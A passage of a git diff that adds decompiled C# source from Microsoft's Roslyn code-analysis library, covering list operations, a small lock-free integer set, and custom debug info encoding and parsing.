ExceptionResource.ArgumentOutOfRange_NeedNonNegNum); + } + if (index >= _size) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.index, ExceptionResource.ArgumentOutOfRange_BiggerThanCollection); + } + if (count > index + 1) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.count, ExceptionResource.ArgumentOutOfRange_BiggerThanCollection); + } + return SegmentedArray.LastIndexOf(_items, item, index, count); + } + + public int LastIndexOf(T item, int index, int count, IEqualityComparer? comparer) + { + if (_size == 0) + { + return -1; + } + if (index < 0) + { + ThrowHelper.ThrowIndexArgumentOutOfRange_NeedNonNegNumException(); + } + if (count < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.count, ExceptionResource.ArgumentOutOfRange_NeedNonNegNum); + } + if (index >= _size) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.index, ExceptionResource.ArgumentOutOfRange_BiggerThanCollection); + } + if (count > index + 1) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.count, ExceptionResource.ArgumentOutOfRange_BiggerThanCollection); + } + return SegmentedArray.LastIndexOf(_items, item, index, count, comparer); + } + + public bool Remove(T item) + { + int num = IndexOf(item); + if (num >= 0) + { + RemoveAt(num); + return true; + } + return false; + } + + void IList.Remove(object? item) + { + if (IsCompatibleObject(item)) + { + Remove((T)item); + } + } + + public int RemoveAll(Predicate match) + { + if (match == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.match); + } + int i; + for (i = 0; i < _size && !match(_items[i]); i++) + { + } + if (i >= _size) + { + return 0; + } + int j = i + 1; + while (j < _size) + { + for (; j < _size && match(_items[j]); j++) + { + } + if (j < _size) + { + _items[i++] = _items[j++]; + } + } + SegmentedArray.Clear(_items, i, _size - i); + int result = _size - i; + _size = i; + _version++; + return result; + } + + public void RemoveAt(int index) + { + if ((uint)index >= (uint)_size) + { + ThrowHelper.ThrowArgumentOutOfRange_IndexException(); + } + _size--; + if (index < _size) + { + SegmentedArray.Copy(_items, index + 1, _items, index, _size - index); + } + _items[_size] = default(T); + _version++; + } + + public void RemoveRange(int index, int count) + { + if (index < 0) + { + ThrowHelper.ThrowIndexArgumentOutOfRange_NeedNonNegNumException(); + } + if (count < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.count, ExceptionResource.ArgumentOutOfRange_NeedNonNegNum); + } + if (_size - index < count) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Argument_InvalidOffLen); + } + if (count > 0) + { + _size -= count; + if (index < _size) + { + SegmentedArray.Copy(_items, index + count, _items, index, _size - index); + } + _version++; + SegmentedArray.Clear(_items, _size, count); + } + } + + public void Reverse() + { + Reverse(0, Count); + } + + public void Reverse(int index, int count) + { + if (index < 0) + { + ThrowHelper.ThrowIndexArgumentOutOfRange_NeedNonNegNumException(); + } + if (count < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.count, ExceptionResource.ArgumentOutOfRange_NeedNonNegNum); + } + if (_size - index < count) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Argument_InvalidOffLen); + } + if (count > 1) + { + SegmentedArray.Reverse(_items, index, count); + } + _version++; + } + + public void Sort() + { + Sort(0, Count, null); + } + + public void Sort(IComparer? comparer) + { + Sort(0, Count, comparer); + } + + public void Sort(int index, int count, IComparer? comparer) + { + if (index < 0) + { + ThrowHelper.ThrowIndexArgumentOutOfRange_NeedNonNegNumException(); + } + if (count < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.count, ExceptionResource.ArgumentOutOfRange_NeedNonNegNum); + } + if (_size - index < count) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Argument_InvalidOffLen); + } + if (count > 1) + { + SegmentedArray.Sort(_items, index, count, comparer); + } + _version++; + } + + public void Sort(Comparison comparison) + { + if (comparison == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.comparison); + } + if (_size > 1) + { + SegmentedArray.Sort(_items, 0, _size, Comparer.Create(comparison)); + } + _version++; + } + + public T[] ToArray() + { + if (_size == 0) + { + return Array.Empty(); + } + T[] array = new T[_size]; + SegmentedArray.Copy(_items, array, _size); + return array; + } + + public void TrimExcess() + { + int num = (int)((double)_items.Length * 0.9); + if (_size < num) + { + Capacity = _size; + } + } + + public bool TrueForAll(Predicate match) + { + if (match == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.match); + } + for (int i = 0; i < _size; i++) + { + if (!match(_items[i])) + { + return false; + } + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/SmallConcurrentSetOfInts.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/SmallConcurrentSetOfInts.cs new file mode 100644 index 0000000..46b1fd5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/SmallConcurrentSetOfInts.cs @@ -0,0 +1,93 @@ +using System.Threading; + +namespace Microsoft.CodeAnalysis.Collections; + +internal class SmallConcurrentSetOfInts +{ + private int _v1; + + private int _v2; + + private int _v3; + + private int _v4; + + private SmallConcurrentSetOfInts? _next; + + private const int unoccupied = int.MinValue; + + public SmallConcurrentSetOfInts() + { + _v1 = (_v2 = (_v3 = (_v4 = int.MinValue))); + } + + private SmallConcurrentSetOfInts(int initialValue) + { + _v1 = initialValue; + _v2 = (_v3 = (_v4 = int.MinValue)); + } + + public bool Contains(int i) + { + return Contains(this, i); + } + + private static bool Contains(SmallConcurrentSetOfInts set, int i) + { + SmallConcurrentSetOfInts smallConcurrentSetOfInts = set; + do + { + if (smallConcurrentSetOfInts._v1 == i || smallConcurrentSetOfInts._v2 == i || smallConcurrentSetOfInts._v3 == i || smallConcurrentSetOfInts._v4 == i) + { + return true; + } + smallConcurrentSetOfInts = smallConcurrentSetOfInts._next; + } + while (smallConcurrentSetOfInts != null); + return false; + } + + public bool Add(int i) + { + return Add(this, i); + } + + private static bool Add(SmallConcurrentSetOfInts set, int i) + { + bool added = false; + while (true) + { + if (AddHelper(ref set._v1, i, ref added) || AddHelper(ref set._v2, i, ref added) || AddHelper(ref set._v3, i, ref added) || AddHelper(ref set._v4, i, ref added)) + { + return added; + } + SmallConcurrentSetOfInts smallConcurrentSetOfInts = set._next; + if (smallConcurrentSetOfInts == null) + { + SmallConcurrentSetOfInts value = new SmallConcurrentSetOfInts(i); + smallConcurrentSetOfInts = Interlocked.CompareExchange(ref set._next, value, null); + if (smallConcurrentSetOfInts == null) + { + break; + } + } + set = smallConcurrentSetOfInts; + } + return true; + } + + private static bool AddHelper(ref int slot, int i, ref bool added) + { + int num = slot; + if (num == int.MinValue) + { + num = Interlocked.CompareExchange(ref slot, i, int.MinValue); + if (num == int.MinValue) + { + added = true; + return true; + } + } + return num == i; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/CustomDebugInfoConstants.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/CustomDebugInfoConstants.cs new file mode 100644 index 0000000..60f0d11 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/CustomDebugInfoConstants.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.Debugging; + +internal static class CustomDebugInfoConstants +{ + internal const byte Version = 4; + + internal const int GlobalHeaderSize = 4; + + internal const int RecordHeaderSize = 8; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/CustomDebugInfoEncoder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/CustomDebugInfoEncoder.cs new file mode 100644 index 0000000..efe25a8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/CustomDebugInfoEncoder.cs @@ -0,0 +1,173 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; + +namespace Microsoft.CodeAnalysis.Debugging; + +internal struct CustomDebugInfoEncoder +{ + private readonly Blob _recordCountFixup; + + private int _recordCount; + + internal const int DynamicAttributeSize = 64; + + internal const int IdentifierSize = 64; + + public BlobBuilder Builder { get; } + + public readonly int RecordCount => _recordCount; + + public CustomDebugInfoEncoder(BlobBuilder builder) + { + Builder = builder; + _recordCount = 0; + builder.WriteByte(4); + _recordCountFixup = builder.ReserveBytes(1); + builder.WriteInt16(0); + } + + public readonly byte[] ToArray() + { + if (_recordCount == 0) + { + return null; + } + new BlobWriter(_recordCountFixup).WriteByte((byte)_recordCount); + return Builder.ToArray(); + } + + public void AddStateMachineTypeName(string typeName) + { + AddRecord(CustomDebugInfoKind.StateMachineTypeName, typeName, delegate(string name, BlobBuilder builder) + { + builder.WriteUTF16(name); + builder.WriteInt16(0); + }); + } + + public void AddForwardMethodInfo(MethodDefinitionHandle methodHandle) + { + AddRecord(CustomDebugInfoKind.ForwardMethodInfo, methodHandle, delegate(MethodDefinitionHandle mh, BlobBuilder builder) + { + builder.WriteInt32(MetadataTokens.GetToken(mh)); + }); + } + + public void AddForwardModuleInfo(MethodDefinitionHandle methodHandle) + { + AddRecord(CustomDebugInfoKind.ForwardModuleInfo, methodHandle, delegate(MethodDefinitionHandle mh, BlobBuilder builder) + { + builder.WriteInt32(MetadataTokens.GetToken(mh)); + }); + } + + public void AddUsingGroups(IReadOnlyCollection groupSizes) + { + if (groupSizes.Count == 0) + { + return; + } + AddRecord(CustomDebugInfoKind.UsingGroups, groupSizes, delegate(IReadOnlyCollection uc, BlobBuilder builder) + { + builder.WriteUInt16((ushort)uc.Count); + foreach (int item in uc) + { + builder.WriteUInt16((ushort)item); + } + }); + } + + public void AddStateMachineHoistedLocalScopes(ImmutableArray scopes) + { + if (scopes.IsDefaultOrEmpty) + { + return; + } + AddRecord(CustomDebugInfoKind.StateMachineHoistedLocalScopes, scopes, delegate(ImmutableArray s, BlobBuilder builder) + { + builder.WriteInt32(s.Length); + ImmutableArray.Enumerator enumerator = s.GetEnumerator(); + while (enumerator.MoveNext()) + { + StateMachineHoistedLocalScope current = enumerator.Current; + if (current.IsDefault) + { + builder.WriteInt32(0); + builder.WriteInt32(0); + } + else + { + builder.WriteInt32(current.StartOffset); + builder.WriteInt32(current.EndOffset - 1); + } + } + }); + } + + public void AddDynamicLocals(IReadOnlyCollection<(string LocalName, byte[] Flags, int Count, int SlotIndex)> dynamicLocals) + { + AddRecord(CustomDebugInfoKind.DynamicLocals, dynamicLocals, delegate(IReadOnlyCollection<(string LocalName, byte[] Flags, int Count, int SlotIndex)> infos, BlobBuilder builder) + { + builder.WriteInt32(infos.Count); + foreach (var info in infos) + { + builder.WriteBytes(info.Flags); + builder.WriteBytes(0, 64 - info.Flags.Length); + builder.WriteInt32(info.Count); + builder.WriteInt32(info.SlotIndex); + builder.WriteUTF16(info.LocalName); + builder.WriteBytes(0, 2 * (64 - info.LocalName.Length)); + } + }); + } + + public void AddTupleElementNames(IReadOnlyCollection<(string LocalName, int SlotIndex, int ScopeStart, int ScopeEnd, ImmutableArray Names)> tupleLocals) + { + AddRecord(CustomDebugInfoKind.TupleElementNames, tupleLocals, delegate(IReadOnlyCollection<(string LocalName, int SlotIndex, int ScopeStart, int ScopeEnd, ImmutableArray Names)> infos, BlobBuilder builder) + { + builder.WriteInt32(infos.Count); + foreach (var info in infos) + { + builder.WriteInt32(info.Names.Length); + ImmutableArray.Enumerator enumerator2 = info.Names.GetEnumerator(); + while (enumerator2.MoveNext()) + { + string current2 = enumerator2.Current; + if (current2 != null) + { + builder.WriteUTF8(current2); + } + builder.WriteByte(0); + } + builder.WriteInt32(info.SlotIndex); + builder.WriteInt32(info.ScopeStart); + builder.WriteInt32(info.ScopeEnd); + if (info.LocalName != null) + { + builder.WriteUTF8(info.LocalName); + } + builder.WriteByte(0); + } + }); + } + + public void AddRecord(CustomDebugInfoKind kind, T debugInfo, Action recordSerializer) + { + int count = Builder.Count; + Builder.WriteByte(4); + Builder.WriteByte((byte)kind); + Builder.WriteByte(0); + BlobWriter blobWriter = new BlobWriter(Builder.ReserveBytes(5)); + recordSerializer(debugInfo, Builder); + int num = Builder.Count - count; + int num2 = 4 * ((num + 3) / 4); + byte b = (byte)(num2 - num); + Builder.WriteBytes(0, b); + blobWriter.WriteByte((byte)(((int)kind > 5) ? b : 0)); + blobWriter.WriteUInt32((uint)num2); + _recordCount++; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/CustomDebugInfoKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/CustomDebugInfoKind.cs new file mode 100644 index 0000000..00699c1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/CustomDebugInfoKind.cs @@ -0,0 +1,15 @@ +namespace Microsoft.CodeAnalysis.Debugging; + +internal enum CustomDebugInfoKind : byte +{ + UsingGroups, + ForwardMethodInfo, + ForwardModuleInfo, + StateMachineHoistedLocalScopes, + StateMachineTypeName, + DynamicLocals, + EditAndContinueLocalSlotMap, + EditAndContinueLambdaMap, + TupleElementNames, + EditAndContinueStateMachineStateMap +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/CustomDebugInfoReader.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/CustomDebugInfoReader.cs new file mode 100644 index 0000000..b2f5cab --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/CustomDebugInfoReader.cs @@ -0,0 +1,607 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.Debugging; + +internal static class CustomDebugInfoReader +{ + private static void ReadGlobalHeader(byte[] bytes, ref int offset, out byte version, out byte count) + { + version = bytes[offset]; + count = bytes[offset + 1]; + offset += 4; + } + + private static void ReadRecordHeader(byte[] bytes, ref int offset, out byte version, out CustomDebugInfoKind kind, out int size, out int alignmentSize) + { + version = bytes[offset]; + kind = (CustomDebugInfoKind)bytes[offset + 1]; + alignmentSize = bytes[offset + 3]; + size = BitConverter.ToInt32(bytes, offset + 4); + offset += 8; + } + + public static ImmutableArray TryGetCustomDebugInfoRecord(byte[] customDebugInfo, CustomDebugInfoKind recordKind) + { + foreach (CustomDebugInfoRecord customDebugInfoRecord in GetCustomDebugInfoRecords(customDebugInfo)) + { + if (customDebugInfoRecord.Kind == recordKind) + { + return customDebugInfoRecord.Data; + } + } + return default(ImmutableArray); + } + + public static IEnumerable GetCustomDebugInfoRecords(byte[] customDebugInfo) + { + if (customDebugInfo.Length < 4) + { + throw new InvalidOperationException("Invalid header."); + } + int offset = 0; + ReadGlobalHeader(customDebugInfo, ref offset, out var version, out var _); + if (version != 4) + { + yield break; + } + int bodySize; + for (; offset <= customDebugInfo.Length - 8; offset += bodySize) + { + ReadRecordHeader(customDebugInfo, ref offset, out var version2, out var kind, out var size, out var alignmentSize); + if (size < 8) + { + throw new InvalidOperationException("Invalid header."); + } + if (kind - 6 > CustomDebugInfoKind.ForwardModuleInfo) + { + alignmentSize = 0; + } + bodySize = size - 8; + if (offset > customDebugInfo.Length - bodySize || alignmentSize > 3 || alignmentSize > bodySize) + { + throw new InvalidOperationException("Invalid header."); + } + yield return new CustomDebugInfoRecord(kind, version2, ImmutableArray.Create(customDebugInfo, offset, bodySize - alignmentSize)); + } + } + + public static ImmutableArray DecodeUsingRecord(ImmutableArray bytes) + { + int offset = 0; + short num = ReadInt16(bytes, ref offset); + ArrayBuilder instance = ArrayBuilder.GetInstance(num); + for (int i = 0; i < num; i++) + { + instance.Add(ReadInt16(bytes, ref offset)); + } + return instance.ToImmutableAndFree(); + } + + public static int DecodeForwardRecord(ImmutableArray bytes) + { + int offset = 0; + return ReadInt32(bytes, ref offset); + } + + public static int DecodeForwardToModuleRecord(ImmutableArray bytes) + { + int offset = 0; + return ReadInt32(bytes, ref offset); + } + + public static ImmutableArray DecodeStateMachineHoistedLocalScopesRecord(ImmutableArray bytes) + { + int offset = 0; + int num = ReadInt32(bytes, ref offset); + ArrayBuilder instance = ArrayBuilder.GetInstance(num); + for (int i = 0; i < num; i++) + { + int num2 = ReadInt32(bytes, ref offset); + int num3 = ReadInt32(bytes, ref offset); + if (num2 != 0 || num3 != 0) + { + num3++; + } + instance.Add(new StateMachineHoistedLocalScope(num2, num3)); + } + return instance.ToImmutableAndFree(); + } + + public static string DecodeForwardIteratorRecord(ImmutableArray bytes) + { + int offset = 0; + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + while (offset < bytes.Length) + { + char c = (char)ReadInt16(bytes, ref offset); + if (c == '\0') + { + break; + } + builder.Append(c); + } + return instance.ToStringAndFree(); + } + + public static ImmutableArray DecodeDynamicLocalsRecord(ImmutableArray bytes) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(64); + PooledStringBuilder instance2 = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance2.Builder; + int offset = 0; + int num = ReadInt32(bytes, ref offset); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(num); + for (int i = 0; i < num; i++) + { + for (int j = 0; j < 64; j++) + { + instance.Add(ReadByte(bytes, ref offset) != 0); + } + int num2 = ReadInt32(bytes, ref offset); + if (num2 < instance.Count) + { + instance.Count = num2; + } + int slotId = ReadInt32(bytes, ref offset); + int num3 = offset + 128; + while (offset < num3) + { + char c = (char)ReadInt16(bytes, ref offset); + if (c == '\0') + { + offset = num3; + break; + } + builder.Append(c); + } + instance3.Add(new DynamicLocalInfo(instance.ToImmutable(), slotId, builder.ToString())); + instance.Clear(); + builder.Clear(); + } + instance.Free(); + instance2.Free(); + return instance3.ToImmutableAndFree(); + } + + public static ImmutableArray DecodeTupleElementNamesRecord(ImmutableArray bytes) + { + int offset = 0; + int num = ReadInt32(bytes, ref offset); + ArrayBuilder instance = ArrayBuilder.GetInstance(num); + for (int i = 0; i < num; i++) + { + instance.Add(DecodeTupleElementNamesInfo(bytes, ref offset)); + } + return instance.ToImmutableAndFree(); + } + + private static TupleElementNamesInfo DecodeTupleElementNamesInfo(ImmutableArray bytes, ref int offset) + { + int num = ReadInt32(bytes, ref offset); + ArrayBuilder instance = ArrayBuilder.GetInstance(num); + for (int i = 0; i < num; i++) + { + string text = ReadUtf8String(bytes, ref offset); + instance.Add(string.IsNullOrEmpty(text) ? null : text); + } + int slotIndex = ReadInt32(bytes, ref offset); + int scopeStart = ReadInt32(bytes, ref offset); + int scopeEnd = ReadInt32(bytes, ref offset); + string localName = ReadUtf8String(bytes, ref offset); + return new TupleElementNamesInfo(instance.ToImmutableAndFree(), slotIndex, localName, scopeStart, scopeEnd); + } + + public static ImmutableArray> GetCSharpGroupedImportStrings(int methodToken, TArg arg, Func getMethodCustomDebugInfo, Func> getMethodImportStrings, out ImmutableArray externAliasStrings) + { + externAliasStrings = default(ImmutableArray); + ImmutableArray immutableArray = default(ImmutableArray); + bool flag = false; + while (true) + { + IL_0012: + byte[] array = getMethodCustomDebugInfo(methodToken, arg); + if (array == null) + { + return default(ImmutableArray>); + } + foreach (CustomDebugInfoRecord customDebugInfoRecord in GetCustomDebugInfoRecords(array)) + { + switch (customDebugInfoRecord.Kind) + { + case CustomDebugInfoKind.UsingGroups: + if (!immutableArray.IsDefault) + { + throw new InvalidOperationException($"Expected at most one Using record for method {FormatMethodToken(methodToken)}"); + } + immutableArray = DecodeUsingRecord(customDebugInfoRecord.Data); + break; + case CustomDebugInfoKind.ForwardMethodInfo: + if (!externAliasStrings.IsDefault) + { + throw new InvalidOperationException($"Did not expect both Forward and ForwardToModule records for method {FormatMethodToken(methodToken)}"); + } + methodToken = DecodeForwardRecord(customDebugInfoRecord.Data); + if (!flag) + { + flag = true; + goto IL_0012; + } + break; + case CustomDebugInfoKind.ForwardModuleInfo: + { + if (!externAliasStrings.IsDefault) + { + throw new InvalidOperationException($"Expected at most one ForwardToModule record for method {FormatMethodToken(methodToken)}"); + } + int arg2 = DecodeForwardToModuleRecord(customDebugInfoRecord.Data); + ImmutableArray immutableArray2 = getMethodImportStrings(arg2, arg); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator2 = immutableArray2.GetEnumerator(); + while (enumerator2.MoveNext()) + { + string current2 = enumerator2.Current; + if (IsCSharpExternAliasInfo(current2)) + { + instance.Add(current2); + } + } + externAliasStrings = instance.ToImmutableAndFree(); + break; + } + } + } + break; + } + if (immutableArray.IsDefault) + { + return default(ImmutableArray>); + } + ImmutableArray immutableArray3 = getMethodImportStrings(methodToken, arg); + ArrayBuilder> instance2 = ArrayBuilder>.GetInstance(immutableArray.Length); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + int i = 0; + ImmutableArray.Enumerator enumerator3 = immutableArray.GetEnumerator(); + while (enumerator3.MoveNext()) + { + short current3 = enumerator3.Current; + int num = 0; + while (num < current3) + { + if (i >= immutableArray3.Length) + { + throw new InvalidOperationException($"Group size indicates more imports than there are import strings (method {FormatMethodToken(methodToken)})."); + } + string text = immutableArray3[i]; + if (IsCSharpExternAliasInfo(text)) + { + throw new InvalidOperationException($"Encountered extern alias info before all import strings were consumed (method {FormatMethodToken(methodToken)})."); + } + instance3.Add(text); + num++; + i++; + } + instance2.Add(instance3.ToImmutable()); + instance3.Clear(); + } + if (externAliasStrings.IsDefault) + { + for (; i < immutableArray3.Length; i++) + { + string text2 = immutableArray3[i]; + if (!IsCSharpExternAliasInfo(text2)) + { + throw new InvalidOperationException($"Expected only extern alias info strings after consuming the indicated number of imports (method {FormatMethodToken(methodToken)})."); + } + instance3.Add(text2); + } + externAliasStrings = instance3.ToImmutableAndFree(); + } + else + { + instance3.Free(); + if (i < immutableArray3.Length) + { + throw new InvalidOperationException($"Group size indicates fewer imports than there are import strings (method {FormatMethodToken(methodToken)})."); + } + } + return instance2.ToImmutableAndFree(); + } + + public static ImmutableArray GetVisualBasicImportStrings(int methodToken, TArg arg, Func> getMethodImportStrings) + { + ImmutableArray result = getMethodImportStrings(methodToken, arg); + if (result.IsEmpty) + { + return ImmutableArray.Empty; + } + string text = result[0]; + if (text.Length >= 2 && text[0] == '@') + { + char c = text[1]; + if (c >= '0' && c <= '9' && int.TryParse(text.Substring(1), NumberStyles.None, CultureInfo.InvariantCulture, out var result2)) + { + result = getMethodImportStrings(result2, arg); + } + } + return result; + } + + private static int ReadInt32(ImmutableArray bytes, ref int offset) + { + int num = offset; + if (num + 4 > bytes.Length) + { + throw new InvalidOperationException("Read out of buffer."); + } + offset += 4; + return bytes[num] | (bytes[num + 1] << 8) | (bytes[num + 2] << 16) | (bytes[num + 3] << 24); + } + + private static short ReadInt16(ImmutableArray bytes, ref int offset) + { + int num = offset; + if (num + 2 > bytes.Length) + { + throw new InvalidOperationException("Read out of buffer."); + } + offset += 2; + return (short)(bytes[num] | (bytes[num + 1] << 8)); + } + + private static byte ReadByte(ImmutableArray bytes, ref int offset) + { + int num = offset; + if (num + 1 > bytes.Length) + { + throw new InvalidOperationException("Read out of buffer."); + } + offset++; + return bytes[num]; + } + + private static bool IsCSharpExternAliasInfo(string import) + { + if (import.Length > 0) + { + return import[0] == 'Z'; + } + return false; + } + + public static bool TryParseCSharpImportString(string import, out string alias, out string externAlias, out string target, out ImportTargetKind kind) + { + alias = null; + externAlias = null; + target = null; + kind = ImportTargetKind.Namespace; + if (string.IsNullOrEmpty(import)) + { + return false; + } + switch (import[0]) + { + case 'U': + alias = null; + externAlias = null; + target = import.Substring(1); + kind = ImportTargetKind.Namespace; + return true; + case 'E': + if (!TrySplit(import, 1, ' ', out target, out externAlias)) + { + return false; + } + alias = null; + kind = ImportTargetKind.Namespace; + return true; + case 'T': + alias = null; + externAlias = null; + target = import.Substring(1); + kind = ImportTargetKind.Type; + return true; + case 'A': + if (!TrySplit(import, 1, ' ', out alias, out target)) + { + return false; + } + switch (target[0]) + { + case 'U': + kind = ImportTargetKind.Namespace; + target = target.Substring(1); + externAlias = null; + return true; + case 'T': + kind = ImportTargetKind.Type; + target = target.Substring(1); + externAlias = null; + return true; + case 'E': + kind = ImportTargetKind.Namespace; + if (!TrySplit(target, 1, ' ', out target, out externAlias)) + { + return false; + } + return true; + default: + return false; + } + case 'X': + externAlias = null; + alias = import.Substring(1); + target = null; + kind = ImportTargetKind.Assembly; + return true; + case 'Z': + if (!TrySplit(import, 1, ' ', out alias, out target)) + { + return false; + } + externAlias = null; + kind = ImportTargetKind.Assembly; + return true; + default: + return false; + } + } + + public static bool TryParseVisualBasicImportString(string import, out string alias, out string target, out ImportTargetKind kind, out VBImportScopeKind scope) + { + alias = null; + target = null; + kind = ImportTargetKind.Namespace; + scope = VBImportScopeKind.Unspecified; + if (import == null) + { + return false; + } + if (import.Length == 0) + { + alias = null; + target = import; + kind = ImportTargetKind.CurrentNamespace; + scope = VBImportScopeKind.Unspecified; + return true; + } + int num = 0; + switch (import[num]) + { + case '#': + case '$': + case '&': + alias = null; + target = import; + kind = ImportTargetKind.Defunct; + scope = VBImportScopeKind.Unspecified; + return true; + case '*': + num++; + alias = null; + target = import.Substring(num); + kind = ImportTargetKind.DefaultNamespace; + scope = VBImportScopeKind.Unspecified; + return true; + case '@': + num++; + if (num >= import.Length) + { + return false; + } + scope = VBImportScopeKind.Unspecified; + switch (import[num]) + { + case 'F': + scope = VBImportScopeKind.File; + num++; + break; + case 'P': + scope = VBImportScopeKind.Project; + num++; + break; + } + if (num >= import.Length) + { + return false; + } + switch (import[num]) + { + case 'A': + num++; + if (import[num] != ':') + { + return false; + } + num++; + if (!TrySplit(import, num, '=', out alias, out target)) + { + return false; + } + kind = ImportTargetKind.NamespaceOrType; + return true; + case 'X': + num++; + if (import[num] != ':') + { + return false; + } + num++; + if (!TrySplit(import, num, '=', out alias, out target)) + { + return false; + } + kind = ImportTargetKind.XmlNamespace; + return true; + case 'T': + num++; + if (import[num] != ':') + { + return false; + } + num++; + alias = null; + target = import.Substring(num); + kind = ImportTargetKind.Type; + return true; + case ':': + num++; + alias = null; + target = import.Substring(num); + kind = ImportTargetKind.Namespace; + return true; + default: + alias = null; + target = import.Substring(num); + kind = ImportTargetKind.MethodToken; + return true; + } + default: + alias = null; + target = import; + kind = ImportTargetKind.CurrentNamespace; + scope = VBImportScopeKind.Unspecified; + return true; + } + } + + private static bool TrySplit(string input, int offset, char separator, out string before, out string after) + { + int num = input.IndexOf(separator, offset); + if (offset <= num && num < input.Length) + { + before = input.Substring(offset, num - offset); + after = ((num + 1 == input.Length) ? "" : input.Substring(num + 1)); + return true; + } + before = null; + after = null; + return false; + } + + private static string FormatMethodToken(int methodToken) + { + return $"0x{methodToken:x8}"; + } + + private static string ReadUtf8String(ImmutableArray bytes, ref int offset) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + while (true) + { + byte b = ReadByte(bytes, ref offset); + if (b == 0) + { + break; + } + instance.Add(b); + } + byte[] array = instance.ToArrayAndFree(); + return Encoding.UTF8.GetString(array, 0, array.Length); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/CustomDebugInfoRecord.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/CustomDebugInfoRecord.cs new file mode 100644 index 0000000..cfd456b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/CustomDebugInfoRecord.cs @@ -0,0 +1,12 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Debugging; + +internal readonly struct CustomDebugInfoRecord(CustomDebugInfoKind kind, byte version, ImmutableArray data) +{ + public readonly CustomDebugInfoKind Kind = kind; + + public readonly byte Version = version; + + public readonly ImmutableArray Data = data; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/DynamicLocalInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/DynamicLocalInfo.cs new file mode 100644 index 0000000..429b28d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/DynamicLocalInfo.cs @@ -0,0 +1,12 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Debugging; + +internal readonly struct DynamicLocalInfo(ImmutableArray flags, int slotId, string localName) +{ + public readonly ImmutableArray Flags = flags; + + public readonly int SlotId = slotId; + + public readonly string LocalName = localName; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/ImportTargetKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/ImportTargetKind.cs new file mode 100644 index 0000000..2c978f8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/ImportTargetKind.cs @@ -0,0 +1,14 @@ +namespace Microsoft.CodeAnalysis.Debugging; + +internal enum ImportTargetKind +{ + Namespace, + Type, + NamespaceOrType, + Assembly, + XmlNamespace, + MethodToken, + CurrentNamespace, + DefaultNamespace, + Defunct +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/PortableCustomDebugInfoKinds.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/PortableCustomDebugInfoKinds.cs new file mode 100644 index 0000000..03913cf --- /dev/null +++ 